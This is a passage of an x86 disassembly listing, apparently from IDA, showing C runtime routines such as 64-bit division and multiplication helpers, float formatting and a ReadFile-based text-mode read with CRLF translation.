cmp [ebp+arg_0], 0 jnz short loc_40C012 mov eax, [ebp+arg_8] mov ecx, dword_410194 mov ebx, dword_410198 mov [eax], ecx mov [eax+4], ebx mov eax, off_411924 movzx eax, word ptr [eax] and eax, 0F00h jmp loc_40C11D ; --------------------------------------------------------------------------- loc_40C012: ; CODE XREF: sub_40BEE0+10Aj ; sub_40BEE0+229j mov al, byte ptr [ebp+var_4+3] cmp al, 10h jnb short loc_40C058 movzx eax, al mov eax, off_411964[eax*4] mov [ebp+var_18], eax test eax, eax jz short loc_40C058 movzx eax, byte_4118A0 cmp [ebp+var_8], eax jge short loc_40C058 mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax cmp eax, 0FF0h jge short loc_40C058 movzx eax, byte ptr [ebp+arg_4] mov edx, [ebp+var_18] mov ax, [edx+eax*2] mov [ebp+var_12], ax test ax, ax jnz short loc_40C06B loc_40C058: ; CODE XREF: sub_40BEE0+137j ; sub_40BEE0+148j ... call sub_4083A0 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp loc_40C11D ; --------------------------------------------------------------------------- loc_40C06B: ; CODE XREF: sub_40BEE0+176j movzx eax, [ebp+var_12] mov edx, eax and edx, 0F00h sar edx, 8 mov byte ptr [ebp+var_4+3], dl test eax, 8000h jz short loc_40C097 movzx eax, [ebp+arg_4] and eax, 0FFFFFF00h movzx edx, byte ptr [ebp+var_12] or eax, edx mov [ebp+arg_4], ax loc_40C097: ; CODE XREF: sub_40BEE0+1A2j test [ebp+var_12], 1000h jz short loc_40C0B9 movzx eax, [ebp+arg_4] mov edx, eax shl edx, 8 sar eax, 8 and eax, 0FFh or edx, eax mov ax, dx mov [ebp+arg_4], ax loc_40C0B9: ; CODE XREF: sub_40BEE0+1BDj test [ebp+var_12], 2000h jz short loc_40C0FD mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx test [ebp+var_12], 0FFh jz short loc_40C0DB movzx edx, [ebp+var_12] mov [ebp+var_1C], edx jmp short loc_40C0E2 ; --------------------------------------------------------------------------- loc_40C0DB: ; CODE XREF: sub_40BEE0+1F0j movzx edx, [ebp+arg_4] mov [ebp+var_1C], edx loc_40C0E2: ; CODE XREF: sub_40BEE0+1F9j mov edx, [ebp+var_1C] mov ecx, [ebp+arg_0] mov [ecx+eax], dl test dl, dl jnz short loc_40C0F6 mov [ebp+var_10], 1 loc_40C0F6: ; CODE XREF: sub_40BEE0+20Dj mov [ebp+var_C], 0 loc_40C0FD: ; CODE XREF: sub_40BEE0+1DFj test [ebp+var_12], 4000h jnz short loc_40C10F cmp [ebp+var_10], 0 jz loc_40C012 loc_40C10F: ; CODE XREF: sub_40BEE0+223j mov edx, [ebp+arg_8] movzx eax, byte ptr [ebp+var_4+3] mov [edx+6], ax mov eax, [ebp+var_8] loc_40C11D: ; CODE XREF: sub_40BEE0+36j ; sub_40BEE0+E2j ... pop ebx mov esp, ebp pop ebp retn sub_40BEE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40C130 proc near ; CODE XREF: sub_40B000+CFp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_4] or eax, eax jnz short loc_40C151 mov ecx, [esp+4+arg_0] mov eax, [esp+4+arg_C] xor edx, edx div ecx mov eax, [esp+4+arg_8] div ecx mov eax, edx xor edx, edx jmp short loc_40C1A1 ; --------------------------------------------------------------------------- loc_40C151: ; CODE XREF: sub_40C130+7j mov ecx, eax mov ebx, [esp+4+arg_0] mov edx, [esp+4+arg_C] mov eax, [esp+4+arg_8] loc_40C15F: ; CODE XREF: sub_40C130+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_40C15F div ebx mov ecx, eax mul [esp+4+arg_4] xchg eax, ecx mul [esp+4+arg_0] add edx, ecx jb short loc_40C18A cmp edx, [esp+4+arg_C] ja short loc_40C18A jb short loc_40C192 cmp eax, [esp+4+arg_8] jbe short loc_40C192 loc_40C18A: ; CODE XREF: sub_40C130+4Aj ; sub_40C130+50j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] loc_40C192: ; CODE XREF: sub_40C130+52j ; sub_40C130+58j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] neg edx neg eax sbb edx, 0 loc_40C1A1: ; CODE XREF: sub_40C130+1Fj pop ebx retn 10h sub_40C130 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40C1B0 proc near ; CODE XREF: sub_40B000+116p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_40C1D1 inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_40C1D1: ; CODE XREF: sub_40C1B0+Bj mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_40C1ED inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_40C1ED: ; CODE XREF: sub_40C1B0+27j or eax, eax jnz short loc_40C209 mov ecx, [esp+0Ch+arg_0] mov eax, [esp+0Ch+arg_C] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_8] div ecx mov edx, ebx jmp short loc_40C24A ; --------------------------------------------------------------------------- loc_40C209: ; CODE XREF: sub_40C1B0+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_C] mov eax, [esp+0Ch+arg_8] loc_40C217: ; CODE XREF: sub_40C1B0+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_40C217 div ecx mov esi, eax mul [esp+0Ch+arg_4] mov ecx, eax mov eax, [esp+0Ch+arg_0] mul esi add edx, ecx jb short loc_40C245 cmp edx, [esp+0Ch+arg_C] ja short loc_40C245 jb short loc_40C246 cmp eax, [esp+0Ch+arg_8] jbe short loc_40C246 loc_40C245: ; CODE XREF: sub_40C1B0+85j ; sub_40C1B0+8Bj dec esi loc_40C246: ; CODE XREF: sub_40C1B0+8Dj ; sub_40C1B0+93j xor edx, edx mov eax, esi loc_40C24A: ; CODE XREF: sub_40C1B0+57j dec edi jnz short loc_40C254 neg edx neg eax sbb edx, 0 loc_40C254: ; CODE XREF: sub_40C1B0+9Bj pop ebx pop esi pop edi retn 10h sub_40C1B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40C260 proc near ; CODE XREF: sub_40B000+13Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_C] mov ecx, [esp+arg_4] or ecx, eax mov ecx, [esp+arg_0] jnz short loc_40C279 mov eax, [esp+arg_8] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_40C279: ; CODE XREF: sub_40C260+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_8] mul [esp+4+arg_4] add ebx, eax mov eax, [esp+4+arg_8] mul ecx add edx, ebx pop ebx retn 10h sub_40C260 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40C2A0 proc near ; CODE XREF: sub_40B240+5p arg_0 = dword ptr 4 mov ecx, [esp+arg_0] movzx eax, word ptr [ecx+6] and eax, 7FF0h cmp eax, 7FF0h jnz short loc_40C2E3 test word ptr [ecx+6], 0Fh jnz short loc_40C2D0 cmp word ptr [ecx+4], 0 jnz short loc_40C2D0 cmp word ptr [ecx+2], 0 jnz short loc_40C2D0 cmp word ptr [ecx], 0 jz short loc_40C2D7 loc_40C2D0: ; CODE XREF: sub_40C2A0+1Aj ; sub_40C2A0+21j ... mov edx, 2 jmp short loc_40C2DC ; --------------------------------------------------------------------------- loc_40C2D7: ; CODE XREF: sub_40C2A0+2Ej mov edx, 1 loc_40C2DC: ; CODE XREF: sub_40C2A0+35j mov ax, dx movsx eax, ax retn ; --------------------------------------------------------------------------- loc_40C2E3: ; CODE XREF: sub_40C2A0+12j movzx eax, word ptr [ecx+6] test eax, 0FFFF7FFFh jnz short loc_40C302 cmp word ptr [ecx+4], 0 jnz short loc_40C302 cmp word ptr [ecx+2], 0 jnz short loc_40C302 cmp word ptr [ecx], 0 jz short loc_40C306 loc_40C302: ; CODE XREF: sub_40C2A0+4Cj ; sub_40C2A0+53j ... or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_40C306: ; CODE XREF: sub_40C2A0+60j xor eax, eax retn sub_40C2A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C310 proc near ; CODE XREF: sub_40B250+5Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] push eax call sub_40CEF0 add esp, 8 movsx eax, ax pop ebp retn sub_40C310 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C330 proc near ; CODE XREF: sub_40B250+200p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] push eax call sub_40CF90 add esp, 8 movsx eax, ax pop ebp retn sub_40C330 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40C350 proc near ; CODE XREF: sub_40B250+20Bp ; sub_40B250+498p var_C = qword ptr -0Ch var_4 = word ptr -4 var_2 = word ptr -2 sub esp, 0Ch fstcw [esp+0Ch+var_2] mov ax, [esp+0Ch+var_2] or ah, 0Ch mov [esp+0Ch+var_4], ax fldcw [esp+0Ch+var_4] fistp [esp+0Ch+var_C] fldcw [esp+0Ch+var_2] mov eax, dword ptr [esp+0Ch+var_C] mov edx, dword ptr [esp+0Ch+var_C+4] add esp, 0Ch retn sub_40C350 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C380 proc near ; CODE XREF: sub_40B250+4D6p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 push ebx push esi mov ebx, [ebp+arg_0] mov esi, [ebp+arg_4] mov eax, ebx mov ecx, esi cdq idiv ecx mov [ebp+var_8], eax mov edx, esi imul edx, eax mov eax, ebx sub eax, edx mov [ebp+var_4], eax mov eax, [ebp+var_8] mov edx, [ebp+var_4] pop esi pop ebx mov esp, ebp pop ebp retn sub_40C380 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C3B0 proc near ; CODE XREF: sub_40B250+64Cp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_12 = byte ptr -12h var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_8 = dword ptr 10h arg_C = word ptr 14h arg_10 = word ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx mov eax, off_4119D0 mov al, [eax] mov [ebp+var_1], al cmp [ebp+arg_C], 0 jg short loc_40C3D5 mov [ebp+arg_C], 1 mov [ebp+arg_8], offset dword_4101A0 loc_40C3D5: ; CODE XREF: sub_40C3B0+16j mov al, [ebp+arg_4] cmp al, 66h jz short loc_40C409 cmp al, 46h jz short loc_40C409 cmp al, 67h jz short loc_40C3EC cmp al, 47h jnz loc_40C653 loc_40C3EC: ; CODE XREF: sub_40C3B0+32j mov ax, [ebp+arg_10] cmp ax, 0FFFCh jl loc_40C653 movsx eax, ax mov edx, [ebp+arg_0] cmp eax, [edx+2Ch] jge loc_40C653 loc_40C409: ; CODE XREF: sub_40C3B0+2Aj ; sub_40C3B0+2Ej add [ebp+arg_10], 1 mov al, [ebp+arg_4] cmp al, 67h jz short loc_40C419 cmp al, 47h jnz short loc_40C454 loc_40C419: ; CODE XREF: sub_40C3B0+63j mov eax, [ebp+arg_0] test word ptr [eax+38h], 8 jnz short loc_40C437 movsx edx, [ebp+arg_C] cmp edx, [eax+2Ch] jge short loc_40C437 mov edx, [ebp+arg_0] movsx eax, [ebp+arg_C] mov [edx+2Ch], eax loc_40C437: ; CODE XREF: sub_40C3B0+72j ; sub_40C3B0+7Bj mov eax, [ebp+arg_0] mov edx, [eax+2Ch] movsx ecx, [ebp+arg_10] sub edx, ecx mov [eax+2Ch], edx test edx, edx jge short loc_40C454 mov edx, [ebp+arg_0] mov dword ptr [edx+2Ch], 0 loc_40C454: ; CODE XREF: sub_40C3B0+67j ; sub_40C3B0+98j cmp [ebp+arg_10], 0 jg loc_40C520 mov eax, [ebp+arg_0] mov edx, [eax+1Ch] lea ecx, [edx+1] mov [eax+1Ch], ecx mov eax, [ebp+arg_0] mov eax, [eax+10h] mov byte ptr [eax+edx], 30h mov eax, [ebp+arg_0] cmp dword ptr [eax+2Ch], 0 jg short loc_40C486 test word ptr [eax+38h], 8 jz short loc_40C49E loc_40C486: ; CODE XREF: sub_40C3B0+CCj mov eax, [ebp+arg_0] mov edx, [eax+1Ch] lea ecx, [edx+1] mov [eax+1Ch], ecx mov eax, [ebp+arg_0] mov eax, [eax+10h] mov cl, [ebp+var_1] mov [eax+edx], cl loc_40C49E: ; CODE XREF: sub_40C3B0+D4j mov eax, [ebp+arg_0] movsx edx, [ebp+arg_10] neg edx cmp [eax+2Ch], edx jge short loc_40C4B8 mov eax, [ebp+arg_0] mov eax, [eax+2Ch] neg eax mov [ebp+arg_10], ax loc_40C4B8: ; CODE XREF: sub_40C3B0+FAj mov edx, [ebp+arg_0] movsx eax, [ebp+arg_10] neg eax mov [edx+20h], eax mov eax, [ebp+arg_0] movsx edx, [ebp+arg_10] mov ecx, [eax+2Ch] add edx, ecx mov [eax+2Ch], edx mov eax, [ebp+arg_0] movsx edx, [ebp+arg_C] cmp [eax+2Ch], edx jge short loc_40C4E9 mov eax, [ebp+arg_0] mov eax, [eax+2Ch] mov [ebp+arg_C], ax loc_40C4E9: ; CODE XREF: sub_40C3B0+12Dj movsx eax, [ebp+arg_C] mov edx, [ebp+arg_0] mov [edx+24h], eax push eax mov eax, [ebp+arg_8] push eax mov eax, [ebp+arg_0] mov edx, [eax+1Ch] mov eax, [eax+10h] add eax, edx push eax call sub_407630 add esp, 0Ch mov eax, [ebp+arg_0] mov edx, [eax+2Ch] movsx ecx, [ebp+arg_C] sub edx, ecx mov [eax+28h], edx jmp loc_40C845 ; --------------------------------------------------------------------------- loc_40C520: ; CODE XREF: sub_40C3B0+A9j mov ax, [ebp+arg_10] cmp [ebp+arg_C], ax jge short loc_40C59A movsx eax, [ebp+arg_C] push eax mov eax, [ebp+arg_8] push eax mov eax, [ebp+arg_0] mov edx, [eax+1Ch] mov eax, [eax+10h] add eax, edx push eax call sub_407630 add esp, 0Ch mov eax, [ebp+arg_0] movsx edx, [ebp+arg_C] mov ecx, [eax+1Ch] add edx, ecx mov [eax+1Ch], edx mov edx, [ebp+arg_0] movsx eax, [ebp+arg_10] movsx ecx, [ebp+arg_C] sub eax, ecx mov [edx+20h], eax mov eax, [ebp+arg_0] cmp dword ptr [eax+2Ch], 0 jg short loc_40C577 test word ptr [eax+38h], 8 jz short loc_40C58C loc_40C577: ; CODE XREF: sub_40C3B0+1BDj mov eax, [ebp+arg_0] mov edx, [eax+1Ch] mov eax, [eax+10h] mov cl, [ebp+var_1] mov [eax+edx], cl mov eax, [ebp+arg_0] inc dword ptr [eax+24h] loc_40C58C: ; CODE XREF: sub_40C3B0+1C5j mov eax, [ebp+arg_0] mov edx, [eax+2Ch] mov [eax+28h], edx jmp loc_40C845 ; --------------------------------------------------------------------------- loc_40C59A: ; CODE XREF: sub_40C3B0+178j movsx eax, [ebp+arg_10] push eax mov eax, [ebp+arg_8] push eax mov eax, [ebp+arg_0] mov edx, [eax+1Ch] mov eax, [eax+10h] add eax, edx push eax call sub_407630 add esp, 0Ch mov eax, [ebp+arg_0] movsx edx, [ebp+arg_10] mov ecx, [eax+1Ch] add edx, ecx mov [eax+1Ch], edx mov ax, [ebp+arg_10] sub [ebp+arg_C], ax mov eax, [ebp+arg_0] cmp dword ptr [eax+2Ch], 0 jg short loc_40C5DF test word ptr [eax+38h], 8 jz short loc_40C5F7 loc_40C5DF: ; CODE XREF: sub_40C3B0+225j mov eax, [ebp+arg_0] mov edx, [eax+1Ch] lea ecx, [edx+1] mov [eax+1Ch], ecx mov eax, [ebp+arg_0] mov eax, [eax+10h] mov cl, [ebp+var_1] mov [eax+edx], cl loc_40C5F7: ; CODE XREF: sub_40C3B0+22Dj mov eax, [ebp+arg_0] movsx edx, [ebp+arg_C] cmp [eax+2Ch], edx jge short loc_40C60D mov eax, [ebp+arg_0] mov eax, [eax+2Ch] mov [ebp+arg_C], ax loc_40C60D: ; CODE XREF: sub_40C3B0+251j movsx eax, [ebp+arg_C] push eax movsx eax, [ebp+arg_10] mov edx, [ebp+arg_8] add eax, edx push eax mov eax, [ebp+arg_0] mov edx, [eax+1Ch] mov eax, [eax+10h] add eax, edx push eax call sub_407630 add esp, 0Ch mov eax, [ebp+arg_0] movsx edx, [ebp+arg_C] mov ecx, [eax+1Ch] add edx, ecx mov [eax+1Ch], edx mov eax, [ebp+arg_0] mov edx, [eax+2Ch] movsx ecx, [ebp+arg_C] sub edx, ecx mov [eax+20h], edx jmp loc_40C845 ; --------------------------------------------------------------------------- loc_40C653: ; CODE XREF: sub_40C3B0+36j ; sub_40C3B0+44j ... mov al, [ebp+arg_4] cmp al, 67h jz short loc_40C65E cmp al, 47h jnz short loc_40C6A9 loc_40C65E: ; CODE XREF: sub_40C3B0+2A8j mov eax, [ebp+arg_0] movsx edx, [ebp+arg_C] cmp edx, [eax+2Ch] jge short loc_40C67C test word ptr [eax+38h], 8 jnz short loc_40C67C mov edx, [ebp+arg_0] movsx eax, [ebp+arg_C] mov [edx+2Ch], eax loc_40C67C: ; CODE XREF: sub_40C3B0+2B8j ; sub_40C3B0+2C0j mov eax, [ebp+arg_0] mov edx, [eax+2Ch] dec edx mov [eax+2Ch], edx test edx, edx jge short loc_40C694 mov edx, [ebp+arg_0] mov dword ptr [edx+2Ch], 0 loc_40C694: ; CODE XREF: sub_40C3B0+2D8j xor eax, eax cmp [ebp+arg_4], 67h setnz al dec eax and eax, 20h add eax, 45h mov [ebp+arg_4], al jmp short loc_40C6BF ; --------------------------------------------------------------------------- loc_40C6A9: ; CODE XREF: sub_40C3B0+2ACj cmp [ebp+arg_4], 61h jnz short loc_40C6B5 mov [ebp+arg_4], 70h jmp short loc_40C6BF ; --------------------------------------------------------------------------- loc_40C6B5: ; CODE XREF: sub_40C3B0+2FDj cmp [ebp+arg_4], 41h jnz short loc_40C6BF mov [ebp+arg_4], 50h loc_40C6BF: ; CODE XREF: sub_40C3B0+2F7j ; sub_40C3B0+303j ... mov eax, [ebp+arg_0] mov edx, [eax+1Ch] lea ecx, [edx+1] mov [eax+1Ch], ecx mov eax, [ebp+arg_8] lea ecx, [eax+1] mov [ebp+arg_8], ecx mov ecx, [ebp+arg_0] mov ecx, [ecx+10h] mov al, [eax] mov [ecx+edx], al mov eax, [ebp+arg_0] cmp dword ptr [eax+2Ch], 0 jg short loc_40C6F0 test word ptr [eax+38h], 8 jz short loc_40C708 loc_40C6F0: ; CODE XREF: sub_40C3B0+336j mov eax, [ebp+arg_0] mov edx, [eax+1Ch] lea ecx, [edx+1] mov [eax+1Ch], ecx mov eax, [ebp+arg_0] mov eax, [eax+10h] mov cl, [ebp+var_1] mov [eax+edx], cl loc_40C708: ; CODE XREF: sub_40C3B0+33Ej mov eax, [ebp+arg_0] cmp dword ptr [eax+2Ch], 0 jle short loc_40C76B mov ax, [ebp+arg_C] dec ax mov [ebp+arg_C], ax mov edx, [ebp+arg_0] movsx eax, ax cmp [edx+2Ch], eax jge short loc_40C730 mov eax, [ebp+arg_0] mov eax, [eax+2Ch] mov [ebp+arg_C], ax loc_40C730: ; CODE XREF: sub_40C3B0+374j movsx eax, [ebp+arg_C] push eax mov eax, [ebp+arg_8] push eax mov eax, [ebp+arg_0] mov edx, [eax+1Ch] mov eax, [eax+10h] add eax, edx push eax call sub_407630 add esp, 0Ch mov eax, [ebp+arg_0] movsx edx, [ebp+arg_C] mov ecx, [eax+1Ch] add edx, ecx mov [eax+1Ch], edx mov eax, [ebp+arg_0] mov edx, [eax+2Ch] movsx ecx, [ebp+arg_C] sub edx, ecx mov [eax+20h], edx loc_40C76B: ; CODE XREF: sub_40C3B0+35Fj mov eax, [ebp+arg_0] mov edx, [eax+1Ch] mov eax, [eax+10h] add eax, edx mov [ebp+arg_8], eax lea edx, [eax+1] mov [ebp+arg_8], edx mov dl, [ebp+arg_4] mov [eax], dl cmp [ebp+arg_10], 0 jl short loc_40C799 mov eax, [ebp+arg_8] lea edx, [eax+1] mov [ebp+arg_8], edx mov byte ptr [eax], 2Bh jmp short loc_40C7A9 ; --------------------------------------------------------------------------- loc_40C799: ; CODE XREF: sub_40C3B0+3D9j mov eax, [ebp+arg_8] lea edx, [eax+1] mov [ebp+arg_8], edx mov byte ptr [eax], 2Dh neg [ebp+arg_10] loc_40C7A9: ; CODE XREF: sub_40C3B0+3E7j mov [ebp+var_8], 0 jmp short loc_40C7DB ; --------------------------------------------------------------------------- loc_40C7B2: ; CODE XREF: sub_40C3B0+430j push 0Ah movsx eax, [ebp+arg_10] push eax call sub_40D1B0 add esp, 8 mov [ebp+var_1C], eax mov [ebp+var_18], edx mov eax, [ebp+var_8] mov edx, [ebp+var_18] mov [ebp+eax+var_12], dl mov eax, [ebp+var_1C] mov [ebp+arg_10], ax inc [ebp+var_8] loc_40C7DB: ; CODE XREF: sub_40C3B0+400j cmp [ebp+arg_10], 0 jg short loc_40C7B2 cmp [ebp+var_8], 2 jge short loc_40C7FF mov al, [ebp+arg_4] cmp al, 65h jz short loc_40C7F3 cmp al, 45h jnz short loc_40C7FF loc_40C7F3: ; CODE XREF: sub_40C3B0+43Dj mov eax, [ebp+arg_8] lea edx, [eax+1] mov [ebp+arg_8], edx mov byte ptr [eax], 30h loc_40C7FF: ; CODE XREF: sub_40C3B0+436j ; sub_40C3B0+441j cmp [ebp+var_8], 0 jnz short loc_40C82C mov eax, [ebp+arg_8] lea edx, [eax+1] mov [ebp+arg_8], edx mov byte ptr [eax], 30h jmp short loc_40C82C ; --------------------------------------------------------------------------- loc_40C813: ; CODE XREF: sub_40C3B0+480j mov eax, [ebp+arg_8] lea edx, [eax+1] mov [ebp+arg_8], edx mov edx, [ebp+var_8] dec edx mov [ebp+var_8], edx mov dl, [ebp+edx+var_12] add dl, 30h mov [eax], dl loc_40C82C: ; CODE XREF: sub_40C3B0+453j ; sub_40C3B0+461j cmp [ebp+var_8], 0 jg short loc_40C813 mov eax, [ebp+arg_0] mov edx, [ebp+arg_8] mov ecx, [eax+1Ch] mov ebx, [eax+10h] add ecx, ebx sub edx, ecx mov [eax+24h], edx loc_40C845: ; CODE XREF: sub_40C3B0+16Bj ; sub_40C3B0+1E5j ... mov eax, [ebp+arg_0] movzx eax, word ptr [eax+38h] and eax, 14h cmp eax, 10h jnz short loc_40C888 mov eax, [ebp+arg_0] mov edx, [eax+14h] mov ecx, [eax+1Ch] add edx, ecx mov ecx, [eax+20h] add edx, ecx mov ecx, [eax+24h] add edx, ecx mov eax, [eax+28h] add eax, edx mov [ebp+var_8], eax mov eax, [ebp+arg_0] mov eax, [eax+34h] cmp [ebp+var_8], eax jge short loc_40C888 mov eax, [ebp+arg_0] mov edx, [eax+34h] sub edx, [ebp+var_8] mov [eax+18h], edx loc_40C888: ; CODE XREF: sub_40C3B0+4A2j ; sub_40C3B0+4CAj pop ebx mov esp, ebp pop ebp retn sub_40C3B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C890 proc near ; CODE XREF: sub_40B8E0+348p ; DMN0:0040CC0Bp var_11 = byte ptr -11h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi mov ebx, [ebp+arg_0] xor edi, edi mov eax, [ebp+arg_4] mov [ebp+var_C], eax cmp [ebp+arg_8], 0 jz short loc_40C8C5 mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] test byte ptr [edx+eax+4], 2 jz short loc_40C8CC loc_40C8C5: ; CODE XREF: sub_40C890+18j xor eax, eax jmp loc_40CBB5 ; --------------------------------------------------------------------------- loc_40C8CC: ; CODE XREF: sub_40C890+33j mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] add eax, edx test byte ptr [eax+4], 48h jz short loc_40C92E cmp byte ptr [eax+5], 0Ah jz short loc_40C92E mov eax, [ebp+var_C] lea edx, [eax+1] mov [ebp+var_C], edx mov edx, ebx and edx, 1Fh imul edx, 24h mov ecx, ebx sar ecx, 5 mov ecx, dword_413988[ecx*4] mov dl, [ecx+edx+5] mov [eax], dl inc edi dec [ebp+arg_8] mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] mov byte ptr [edx+eax+5], 0Ah loc_40C92E: ; CODE XREF: sub_40C890+56j ; sub_40C890+5Cj push 0 lea eax, [ebp+var_4] push eax mov eax, [ebp+arg_8] push eax mov eax, [ebp+var_C] push eax mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] mov eax, [edx+eax] push eax call dword_411E18 ; ReadFile test eax, eax jnz short loc_40C99E call dword_411CE8 ; RtlGetLastWin32Error mov [ebp+var_10], eax cmp eax, 5 jnz short loc_40C97F call sub_4083A0 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp loc_40CBB5 ; --------------------------------------------------------------------------- loc_40C97F: ; CODE XREF: sub_40C890+DAj cmp [ebp+var_10], 6Dh jnz short loc_40C98C xor eax, eax jmp loc_40CBB5 ; --------------------------------------------------------------------------- loc_40C98C: ; CODE XREF: sub_40C890+F3j mov eax, [ebp+var_10] push eax call sub_408240 pop ecx or eax, 0FFFFFFFFh jmp loc_40CBB5 ; --------------------------------------------------------------------------- loc_40C99E: ; CODE XREF: sub_40C890+CCj mov eax, [ebp+var_4] add edi, eax mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] test byte ptr [edx+eax+4], 80h jz loc_40CBB3 cmp [ebp+var_4], 0 jz short loc_40C9ED mov eax, [ebp+arg_4] cmp byte ptr [eax], 0Ah jnz short loc_40C9ED mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] lea eax, [edx+eax+4] or byte ptr [eax], 4 jmp short loc_40CA08 ; --------------------------------------------------------------------------- loc_40C9ED: ; CODE XREF: sub_40C890+136j ; sub_40C890+13Ej mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] lea eax, [edx+eax+4] and byte ptr [eax], 0FBh loc_40CA08: ; CODE XREF: sub_40C890+15Bj mov eax, [ebp+arg_4] mov [ebp+var_8], eax mov esi, eax jmp loc_40CB9C ; --------------------------------------------------------------------------- loc_40CA15: ; CODE XREF: sub_40C890+313j cmp byte ptr [esi], 1Ah jnz short loc_40CA59 mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] test byte ptr [edx+eax+4], 40h jnz loc_40CBA9 mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] lea eax, [edx+eax+4] or byte ptr [eax], 2 jmp loc_40CBA9 ; --------------------------------------------------------------------------- loc_40CA59: ; CODE XREF: sub_40C890+188j cmp byte ptr [esi], 0Dh jz short loc_40CA73 mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx mov edx, esi inc esi mov dl, [edx] mov [eax], dl jmp loc_40CB9C ; --------------------------------------------------------------------------- loc_40CA73: ; CODE XREF: sub_40C890+1CCj mov eax, [ebp+arg_4] lea eax, [eax+edi-1] cmp esi, eax jnb short loc_40CAAD cmp byte ptr [esi+1], 0Ah jnz short loc_40CA98 add esi, 2 mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx mov byte ptr [eax], 0Ah jmp loc_40CB9C ; --------------------------------------------------------------------------- loc_40CA98: ; CODE XREF: sub_40C890+1F2j mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx mov edx, esi inc esi mov dl, [edx] mov [eax], dl jmp loc_40CB9C ; --------------------------------------------------------------------------- loc_40CAAD: ; CODE XREF: sub_40C890+1ECj inc esi mov [ebp+var_10], 0 push 0 lea eax, [ebp+var_4] push eax push 1 lea eax, [ebp+var_11] push eax mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] mov eax, [edx+eax] push eax call dword_411E18 ; ReadFile test eax, eax jnz short loc_40CAEC call dword_411CE8 ; RtlGetLastWin32Error mov [ebp+var_10], eax loc_40CAEC: ; CODE XREF: sub_40C890+251j cmp [ebp+var_10], 0 jnz short 